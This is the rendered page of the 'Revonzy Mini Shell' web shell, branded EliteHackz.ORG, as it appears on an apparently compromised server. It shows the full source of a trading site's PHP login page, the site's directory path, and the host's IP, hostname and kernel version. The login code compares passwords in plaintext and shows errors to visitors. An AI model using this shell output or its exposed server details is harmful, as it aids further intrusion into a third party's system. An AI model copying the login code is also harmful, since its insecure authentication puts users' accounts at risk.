Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/index.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
require_once("lib/function.php");
$db = new login_function();

/*$var_symbol_token = "99926009";
$data = $db->get_all_last_candles_data_for_ema($var_symbol_token);
print_r($data);*/

/*
$symboltoken    =   "99926009";
$strategy_type  =   "TWO_TWENTY";

$stock_settings_data    =  $db->get_stock_setting_data_with_status_on($symboltoken,$strategy_type);

echo $no_of_trades_limit  =    $stock_settings_data['no_of_trades_limit'];
echo $no_of_todays_trades = $db->get_total_no_of_todays_trades($symboltoken,$strategy_type);
       
       if($no_of_todays_trades<=$no_of_trades_limit)
       {
             echo "Trades In Limit";
       }
       else
       {
           echo "no Of Trades Exceeded";
       }*/

        
      $mobile_no = "";
      $var_password = "";
	  $mobile_number_error	=	"";
	  $password_error="";
	  $flag 			=	0; 
	  $success_flag =0;
		if(isset($_POST['log_btn']))
	{
		$mobile_no			=		$_POST['mobile_no'];
		$password		=		$_POST['password'];
		
		if($mobile_no=="")
		{
			$email_error = "Please enter user name";
			$flag = 1;
		}
		if($password=="")
		{
			$password_error = "Please enter password";
			$flag = 1;
		}
		if($flag==0)
		{
			$result_password = $db-> get_password_from_mobile_number($mobile_no);
		
				if($result_password=="")
				{
					$mobile_no_error = "This admin is not registered or not verified.";
				}
				else
				{
					if($password==$result_password)
					{
						unset($_SESSION['current_login_user']);
						$_SESSION['current_login_admin'] = $mobile_no;
						
						header("Location:user-dashboard.php");
						$success_flag = "Login Successfully";
					}
					else
					{
						$password_error = "Incorrect password";
					}
				}
		}
	}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Login Page</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
body
{
    background-image:url('images/backalgotrader.png');
    background-size:cover !important;
    background-repeat:no-repeat;
    height:100% !important;
}
.col-md-6
{
	margin:auto;
	margin-top:100px;
}
@media only screen and (max-width: 500px) {
	.col-md-6
	{
		
	}
}
</style>

<script>
function validateForm() {
  var x = document.forms["myForm"]["email"].value;
  var y = document.forms["myForm"]["password"].value;
  if (x == "") {
    alert("Enter Username");
    return false;
  }
  if (y == "") {
    alert("Enter Password");
    return false;
  }
}
</script>
</head>

<body>
               <div class="row">
					<div class="col-md-4 col-sm-6" style="margin-top:0px; margin:auto; margin-top:00px;">
					    
						<div class="ibox" style="opacity:; background-color:rgba(255, 255, 255, .70);">
                            <form class="form-pink" method="POST" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off">
							<center><img src="images/share-market-traders.png" width="250" height="250"></center>
								<?php
								if($password_error ==1)
								{
								?>
									<div class="alert alert-danger">
									<span class="alert-link">Please!</span> Enter Correct Password.
									</div>
								<?php
								}
								?>	
								
                                <div class="ibox-head" style="text-align:center; padding:7px !important; min-height:0px;">
                                    <div class="ibox-title" style="text-align:center; width:100%;">LOGIN</div>
                                </div>
                                <div class="ibox-body">
                                    <div class="form-group mb-4">
                                        <div class="input-group-icon input-group-icon-left">
                                            <span class="input-icon input-icon-left"><i class="fas fa-user"></i></span>
                                            <input class="form-control form-control-air" type="text" name="mobile_no" placeholder="Enter mobile number">
											<p style="color:red;"></p>
                                        </div>
                                    </div>
                                    
                                    <div class="form-group mb-4">
                                        <div class="input-group-icon input-group-icon-left">
                                            <span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
                                            <input class="form-control form-control-air" type="password" name="password" placeholder="Enter Password">
											<p style="color:red;"></p>
                                        </div>
                                    </div>
                                    <div class="form-group mb-0">
                                        <label class="checkbox checkbox-pink" style="font-weight:bold; color:orangered;">
                                            <input type="checkbox">
                                            <span class="input-span"></span>Remember me</label>
											
											<!--<a href="forgot-password.php" class="input-span" style="float:right;text-decoration:underline;">Forgot Password ?</a>-->
											
			
											<a href="registration.php" class="input-span"
                                          style="float:right;text-decoration:underline;">Creat Account ?</a>
                                       </div>
									   
											
											<!--<a href="user_login.php" class="input-span"
                                          style="float:right;text-decoration:underline;">User Login</a>-->
                                       </div>
									   <div class="ibox-footer">
                                    <button class="btn btn-pink btn-air mr-2" type="submit" name="log_btn" >Login</button>
                                    <button class="btn btn-secondary" type="reset">Cancel</button>
                                </div>
									
                                </div>
                                
                            </form>
                        </div>
                    </div>
                </div>
            
   
  
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4